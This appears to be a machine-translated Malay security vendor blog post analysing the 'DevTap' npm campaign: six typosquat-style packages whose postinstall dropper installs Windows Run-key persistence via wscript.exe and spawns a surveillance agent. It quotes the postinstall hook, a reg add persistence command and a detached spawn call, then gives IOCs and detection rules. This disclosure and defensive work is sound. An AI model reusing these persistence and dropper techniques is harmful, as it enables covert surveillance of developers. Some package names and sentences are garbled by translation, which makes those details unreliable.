Serangan Typosquatting npm DevTap

Serangan Typosquatting npm DevTap: Enam Pakej Berniat Jahat Menyasarkan Stesen Kerja Pembangun

TL; DR

Antara 1 April dan 3 Mei 2026, sebuah penerbit npm tunggal, user0001, berdaftar dengan alamat Gmail yang tidak disahkan tanvisoul9@gmail.com, secara senyap-senyap telah mengeluarkan enam pakej dengan nama-nama yang sengaja hambar dan kedengaran seperti infrastruktur: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, dan node-env-resolve.

Dua versi terkini node-env-resolve, 1.0.7 dan 1.0.8, telah ditandai oleh sistem Amaran Awal Perisian Hasad (MEW) Xygeni pada 2 Mei dan disahkan berniat jahat pada 3 Mei.

Implan ini luar biasa untuk apa yang bukan: tiada bot Telegram, tiada panggilan balik OAST, tiada penyimpangan, dan tiada percubaan untuk mendapatkan kelayakan AWS semasa pemasangan. Sebaliknya, postinstall.js menanam entri boot-persistence Windows, menggunakan kekunci HKCU Run yang dilancarkan wscript.exe terhadap stub VBS. Kemudian ia menghasilkan ejen Node.js yang terpisah yang menggabungkan modul untuk penangkapan mikrofon, kecurian sejarah pelayar, tangkapan skrin dan simulasi tetikus/papan kekunci.

Kami memanggil kluster ini DevTap, selepas kit, ia dibiarkan berjalan pada mesin pembangun.

Kesemua enam pakej telah beroperasi di npm pada masa penulisan ini. Kami telah menyerahkannya ke saluran penyalahgunaan pendaftaran. Pembela harus menarik sebarang pemasangan daripada penerbit sementara menunggu penyingkiran.

Kelompok: Enam Pakej, Satu Penerbit

Akaun penerbit user0001 tidak disahkan. Ia tidak mempunyai SCM pengesahan, tiada e-mel terikat domain dan tiada sejarah terdahulu. Pemegang Gmail tanvisoul9 tidak muncul dalam mana-mana rekod penerbit npm lain yang kami dapat temui.

Kesemua enam pakej menyenaraikan penyelenggara yang sama, diterbitkan daripada akaun yang sama dan berkongsi maklumat yang sama package.json plat boiler. Tiada repositoryPada homepage, dan tidak description lebih panjang daripada satu baris.

Strategi penamaan adalah bahagian yang menarik. Tidak seperti kempen kekeliruan kebergantungan atau typosquat klasik, tiada satu pun daripada nama ini menyasarkan pustaka huluan tertentu. Sebaliknya, ia dikalibrasi untuk hilang menjadi pustaka sebenar. package.json or npm ls output.

PakejPertama DiterbitkanVersi terkiniversiPeranan dalam Kluster
centrallogger2026-04-01 12:46 UTC1.0.95, dari 1.0.5 hingga 1.0.9Kulit "utiliti pembalakan" kluster; penerbitan terawal
dom-utils-lite2026-04-14 07:36 UTC1.0.33Perlindungan pembantu DOM generik
nod-ambil-ringan2026-04-19 10:22 UTC1.0.23Meniru keluarga pengambilan nod
ejen penyambung2026-04-25 05:12 UTC1.0.01"Ejen" nama generik
nod-gyp-runtime2026-04-25 05:17 UTC1.0.01Meniru perkakas binaan modul asli
nod-env-resolve2026-04-25 05:21 UTC1.0.910, dari 1.0.0 hingga 1.0.9Penitis aktif; implan penuh

Nama-nama seperti centralogger, node-fetch-lite, dan node-gyp-runtime direka bentuk untuk kelihatan tidak kontroversial dalam semakan kod. Ia kedengaran seperti perkara yang sudah ada dalam pokok kebergantungan projek.

Digabungkan dengan penerbit baharu yang tidak disahkan dan pautan repositori yang hilang, ia membentuk corak yang boleh dikenali: seorang pelakon yang menyemai nama geseran rendah ke dalam daftar, kemudian mengulangi dengan cepat pada nama yang penting. Dalam kes ini, node-env-resolve menerima sepuluh versi dalam lapan hari.

Apa yang Terselit di Kotak Pembangun Windows

Rantaian berniat jahat pada node-env-resolve:1.0.8 pendek, langsung dan luar biasa kaya dengan ciri untuk RAT npm.

Pascapasang: Kegigihan dan Ejen Terpisah

package.json mengisytiharkan satu cangkuk pemasangan:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js melakukan tiga perkara mengikut urutan.

Pertama, ia akan menjalankan direktori pemasangan di luar pokok npm. Laluan dikira semasa runtime dalam skrip sebagai INSTALL_DIRKemudian ia menjalankan dalaman execSync('npm install --production --silent ...') di dalamnya untuk menarik kebergantungan masa jalan implan. Ini meletakkan ejen pada cakera di suatu tempat manual node_modules audit tidak akan menemui.

Kedua, ia menulis pelancar VBS dan mendaftarkannya untuk kegigihan but:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe ialah Windows Script Host, binari Microsoft yang ditandatangani yang dijalankan .vbs fail tanpa tetingkap konsol. Itu pracisely mengapa ia digemari untuk stub autorun.

Terdapat juga padanan reg delete laluan di dalam src/index.js, menunjukkan implan direka bentuk untuk ditanggalkan dengan bersih atas arahan pengendali.

Ketiga, ia menghasilkan proses anak yang terpisah:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

Dua butiran penting di sini.

SERVER_URL dibaca daripada persekitaran. Hasilnya, titik akhir C2 boleh dikonfigurasikan setiap penggunaan dan tidak dimasukkan ke dalam pakej. Pilihan kecil tetapi disengajakan itu mengalahkan kebanyakan sapuan statik-IOC.

Selain itu, anak yang dilahirkan mewarisi persekitaran induk sepenuhnya. Oleh itu, sebarang NPM_TOKEN, AWS_*, GITHUB_TOKEN, atau soket SSH-agent yang terdapat dalam shell pembangun semasa masa pemasangan bergerak ke dalam memori ejen yang tahan lama.

Apa yang Dihantar oleh Ejen

Yang dibundel src/ tree merangkumi tiga modul yang namanya sahaja menceritakan kisahnya: audioCapture.js, browserHistory.js, dan systemInfo.js.

Senarai kebergantungan masa jalan, diselesaikan semasa peringkat npm install, mengesahkannya.

Pendekatan ini mengubah insiden yang huru-hara menjadi tindak balas terkawal.

Daripada bertindak balas secara membuta tuli, pasukan beroperasi dengan keutamaan yang jelas dan pemulihan yang cepat.

KetergantunganUntuk Apa Ia Dalam Konteks Ini
tangkapan skrin-desktopTangkapan skrin berkala
@nut-tree-fork/nut-jsAutomasi tetikus dan papan kekunci / simulasi input
lebih baik-sqlite3Bacaan langsung pangkalan data SQLite Sejarah Chrome, Edge dan Firefox
adm-zipMenggabungkan artifak yang dikumpul sebelum pengekstrakan
tajamMengubah saiz/memampatkan tangkapan skrin dan artifak imej
socket.io-klienSaluran C2 dwiarah berterusan
nod-mesin-idCap jari setiap hos yang stabil untuk pengesanan mangsa

systemInfo.js panggilan os.networkInterfaces() untuk cap jari tambahan sebelum suar pertama.

Mengapa Tangkapan Audio Merupakan Isyarat Yang Menonjol

Kebanyakan RAT npm yang kami triage dalam MEW berhenti pada kecurian rahsia masa pemasangan. Ia membaca ~/.npmrc, baca ~/.aws/credentials, mengikis process.env, POST ke webhook, dan keluar. Itu sesuai dengan model ekonomi smash-and-grab. Bukti kelayakan mempunyai separuh hayat yang pendek dan penyerang perlu menjana wang dengan cepat.

node-env-resolve adalah berbeza dari segi bentuk.

Kegigihan disetkan untuk bertahan daripada but semula. Ejen berjalan berasingan dan tahan lama di bawah wscript.exeKit yang dibawanya adalah untuk berada di mesin pembangun, bukan untuk mengambil dan meninggalkannya: perakam mikrofon, pemacu papan kekunci/tetikus, pengingesan sejarah pelayar penuh, tangkapan skrin dan saluran Socket.IO interaktif kembali ke C2 yang boleh dikonfigurasikan.

Penangkapan mikrofon khususnya adalah garisan yang dilalui oleh kempen ini yang tidak dilalui oleh kebanyakan perisian hasad npm.

Stesen kerja pembangun, semakin lama semakin menjadi stesen kerja tempat pembangun membuat panggilan berdiri, panggilan pelanggan, perbincangan reka bentuk dan jambatan panggilan. Implan yang merakam mikrofon sebenarnya tidak mengikuti token npm pembangun. Ia mengikuti apa yang dikatakan oleh pembangun di hadapan komputer riba.

Set keupayaan itu, ditambah dengan kekurangan pengeliruan dan ketiadaan sebarang penyusupan masa pemasangan yang mencolok, dibaca sebagai pra-penentuan kedudukan untuk akses yang disasarkan dan bukannya kecurian kelayakan oportunistik.

Kami tidak menegaskan atribusi daripada ini sahaja. Kami sedang mengambil perhatian terhadap profil operasi.

serangan typoscup npm - DevTab

Irama lelaran lapan hari pada node-env-resolve merupakan perincian yang paling jelas dari segi operasi dalam garis masa tersebut.

Ini bukanlah penurunan "api-dan-lupakan". Penerbit sedang giat menyelenggara dropper, yang biasanya bermaksud salah satu daripada dua perkara. Sama ada mereka sedang menalanya terhadap persekitaran ujian sebelum penggunaan yang lebih luas, atau mereka sudah mempunyai telemetri pemasangan yang kembali dan sedang bertindak balas terhadapnya.

Lima pakej lain secara efektifnya tidak mengalami sebarang perubahan selepas penerbitan awal mereka. Ini sesuai dengan corak "peringkat sekali, tinggalkan dinamakan" untuk kluster sokongan manakala usaha kejuruteraan tertumpu pada pakej yang melakukan kerja tersebut.

Atribusi: Petunjuk Kecil, Tiada Keputusan Tegas

Awam OSINT isyarat adalah nipis, dan kami tidak akan memanjangkannya. Apa yang boleh diperhatikan:

Pemegang Gmail tanvisoul9 sebahagiannya menyerupai nama yang diberikan oleh orang Asia Selatan, "Tanvi." Ini adalah isyarat yang lemah. Pemegang Gmail bukan identiti, dan bahagian belakang soul9 adalah generik. Tidak selamat untuk membuat kesimpulan geografi daripada bahagian setempat e-mel sahaja.

Gaya kod adalah Node.js yang biasa-biasa sahaja: standard panggilan perpustakaan seperti os, child_process, spawn, dan reg addTiada pengaburan, tiada putaran rentetan dan tiada logik anti-debug. Penulis selesa dengan primitif registri Windows dan orkestrasi proses anak terpisah, tetapi nampaknya tidak mencapai kemahiran perdagangan tersembunyi yang mungkin mereka gunakan.

Kebergantungan sepenuhnya tidak tersedia dan diketahui umum: screenshot-desktop, nut-js, better-sqlite3, dan socket.io-clientTiada protokol tersuai, tiada susunan C2 yang dilancarkan dari awal dan tiada helah kegigihan baharu selain daripada buku teks. Kekunci Jalankan HKCUIni adalah penyepadu yang cekap, bukan pengarang alat.

Kami tidak menemui rentetan bukan Inggeris, komen terbenam, data penempatan atau cap jari zon waktu output pengkompil di dalam artifak yang diterbitkan.

Kami menyemak pertindihan kod dengan kempen terdahulu yang telah kami jejaki, termasuk Shai Hulud, Burung Hantu, Buildkite, dan heibai baru-baru ini / claude-code-best Keluarga klon Anthropic-CLI. Kami tidak menemui apa-apa: tiada corak C2 yang dikongsi, tiada susun atur fail yang dikongsi dan tiada idiom yang dikongsi.

Apa yang tidak akan kami katakan: bahawa ini adalah pelaku negara, kumpulan yang diketahui, atau terikat secara geografi dengan mana-mana negara tertentu.

Profil operasi adalah konsisten dengan pasukan kecil yang berkemahiran sederhana yang melakukan pengawasan stesen kerja pemaju. Ia mungkin didorong oleh kewangan melalui penggunaan akses hiliran, tetapi mungkin juga peninjauan sebagai perkhidmatan untuk pembeli berasingan.

Dua perkara tidak langsung menyokong yang berbunyi: mengelakkan mekanik penyusupan ekskresi yang menarik perhatian yang akan membakar kluster dengan cepat, seperti bot Telegram, oastify.com, atau canarytokens, dan nama pakej yang sengaja hambar, yang mengutamakan pemasangan ekor panjang yang senyap berbanding lonjakan volum tinggi yang singkat.

Petunjuk Kompromi dan Pengesanan

Pakej dan Penerbit
Bidangnilai
penerbit npmuser0001
E-mel penerbittanvisoul9@gmail.com, tidak disahkan
Kamicentralogger, dom-utils-lite, nod-fetch-lite, ejen-penyambung, nod-gyp-runtime, nod-env-resolve
Disahkan berniat jahatnod-env-resolve@1.0.7, nod-env-resolve@1.0.8
Artifak Hos
Jenisnilai
Kekunci kegigihanHKCU\Software\Microsoft\Windows\CurrentVersion\Run
Nilai kegigihanNama pembolehubah; data dalam bentuk wscript.exe " \\ .vbs"
Pasang cangkukpascapasang: nod postinstall.js dalam manifes pakej
Modul implansrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
Direktori pementasanINSTALL_DIR diselesaikan di luar node_modules projek; lokasi ditetapkan oleh postinstall.js pada masa pemasangan
rangkaian
Jenisnilai
Pengangkutan C2socket.io-klien, saluran dwiarah berterusan
Titik akhir C2Diberikan kepada ejen melalui pembolehubah persekitaran SERVER_URL; tidak dikodkan secara tetap ke dalam artifak yang diterbitkan

Nota Pengesanan

Dua peraturan merangkumi keluarga ini tanpa memerlukan titik akhir C2.

Pertama, tandakan skrip pasca pemasangan yang melaksanakan operasi dalaman npm install ke dalam laluan di luar direktori pakej itu sendiri. Mana-mana pemuat turun prabina yang sah, seperti node-gyp membina semula atau pemuat turun binari prabina, menulis di dalam pakej atau ke dalam platform-standard laluan cache dengan hash yang disahkan. Ia tidak menulis ke dalam fail yang baru dicipta INSTALL_DIR di tempat lain pada cakera.

Kedua, tandakan skrip pasca pemasangan yang mengeluarkan reg add HKCU\…\Run bersama wscript.exe sebagai pelancar. Ini pada asasnya tidak pernah sah daripada pakej npm. Tandakan dan kuarantinkannya.

Heuristik ketiga berguna untuk mengenal pasti pakej adik-beradik seterusnya sebelum ia disahkan: penerbit npm baharu tanpa SCM pengesahan, e-mel Gmail, tidak repository medan, dan pelbagai nama pakej ringkas, generik dan kedengaran seperti infrastruktur yang diterbitkan dalam beberapa hari antara satu sama lain, dengan sendirinya, sudah cukup untuk menjamin semakan manual.

Dilaporkan kepada pendaftaran npm. Kami akan mengemas kini siaran ini apabila akaun penerbit dialih keluar.

alat-analisis-komposisi-perisian-alat-sca
Utamakan, pulihkan dan lindungi risiko perisian anda
Dapatkan Akaun Percuma anda.
Tiada kad kredit yang diperlukan.

Lindungi Pembangunan dan Penghantaran Perisian Anda

dengan Suit Produk Xygeni